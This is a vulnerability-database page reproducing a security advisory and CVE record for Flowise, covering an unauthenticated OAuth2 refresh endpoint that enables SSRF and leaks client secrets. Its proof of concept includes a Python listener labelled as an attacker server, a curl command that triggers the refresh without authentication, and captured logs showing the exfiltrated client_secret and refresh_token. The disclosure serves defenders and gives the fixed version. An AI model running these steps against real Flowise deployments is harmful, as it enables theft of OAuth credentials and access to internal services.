Vulnerability-Lookup

GHSA-R745-8HWV-H473

Vulnerability from github – Published: 2026-08-04 14:20 – Updated: 2026-08-04 14:20

Summary

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Details

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

Unauthenticated route via whitelist
dist/utils/constants.js includes:
- /api/v1/oauth2-credential/callback
- /api/v1/oauth2-credential/refresh
dist/index.js auth middleware uses:
- const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
User-controlled SSRF target
In refresh handler (dist/routes/oauth2/index.js):
- loads credential by credentialId
- decrypts credential data
- reads accessTokenUrl
- executes:
- axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
No secureAxiosRequest() / denylist wrapper is used in this path.
Non-blind response reflection
Response returns:
- tokenInfo: { ...tokenData, ... }
tokenData is the attacker/internal server response body.
Secrets sent to SSRF target
Request body includes:
- client_id
- client_secret
- grant_type=refresh_token
- refresh_token

PoC

Environment used

flowiseai/flowise:latest container (localhost:3000)
Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (tokenInfo).

Impact

Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
Technical impact:
outbound SSRF to attacker/internal targets,
direct leak of client_secret and refresh_token to SSRF target,
direct response read from target via API response (tokenInfo).
Deployment impact:
cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Severity

8.5 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T14:20:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n   - `dist/utils/constants.js` includes:\n     - `/api/v1/oauth2-credential/callback`\n     - `/api/v1/oauth2-credential/refresh`\n   - `dist/index.js` auth middleware uses:\n     - `const isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))`\n   - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n   - In refresh handler (`dist/routes/oauth2/index.js`):\n     - loads credential by `credentialId`\n     - decrypts credential data\n     - reads `accessTokenUrl`\n     - executes:\n       - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n   - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n   - Response returns:\n     - `tokenInfo: { ...tokenData, ... }`\n   - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n   - Request body includes:\n     - `client_id`\n     - `client_secret`\n     - `grant_type=refresh_token`\n     - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n    def do_POST(self):\n        l = int(self.headers.get(\u0027Content-Length\u0027,\u00270\u0027))\n        b = self.rfile.read(l).decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n        print(\u0027REQUEST_PATH\u0027, self.path, flush=True)\n        print(\u0027REQUEST_BODY\u0027, b, flush=True)\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(json.dumps({\u0027ok\u0027: True, \u0027source\u0027: \u0027attacker-server\u0027, \u0027echo_len\u0027: len(b)}).encode())\n    def log_message(self, fmt, *args):\n        pass\n\nHTTPServer((\u00270.0.0.0\u0027, 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{}\u0027\n```\n\nObserved response:\n\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n  \"tokenInfo\": {\n    \"ok\": true,\n    \"source\": \"attacker-server\",\n    \"echo_len\": 76,\n    \"has_new_refresh_token\": false\n  }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2\u0026client_secret=csec2\u0026grant_type=refresh_token\u0026refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n  - outbound SSRF to attacker/internal targets,\n  - direct leak of `client_secret` and `refresh_token` to SSRF target,\n  - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n  - cloud/internal network reachability can expose metadata/internal services depending on egress controls.",
  "id": "GHSA-r745-8hwv-h473",
  "modified": "2026-08-04T14:20:49Z",
  "published": "2026-08-04T14:20:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration"
}

CVE-2026-69250 (GCVE-0-2026-69250)

Vulnerability from cvelistv5 – Published: 2026-08-04 14:20 – Updated: 2026-08-04 19:52

Title

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/commit/da8b2…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
FlowiseAI	Flowise	Affected: < 3.1.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-69250",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-04T19:32:19.780120Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-04T19:52:53.398Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent client_id, client_secret, grant_type=refresh_token, and refresh_token in the request body. This issue is fixed in version 3.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "privilegesRequired": "HIGH",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-04T14:20:35.395Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473",
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          ],
          "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
        },
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          "name": "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2",
          "tags": [
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          "url": "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2"
        },
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      "source": {
        "advisory": "GHSA-r745-8hwv-h473",
        "discovery": "UNKNOWN"
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      "title": "Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration"
    }
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "cveId": "CVE-2026-69250",
    "datePublished": "2026-08-04T14:20:35.395Z",
    "dateReserved": "2026-08-03T19:54:19.852Z",
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  },
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-R745-8HWV-H473

Summary

Details

PoC

Environment used

Step 1: Start attacker server

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

Step 3: Trigger refresh without auth

Impact

CVE-2026-69250 (GCVE-0-2026-69250)

Tags

Sightings

Nomenclature

Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)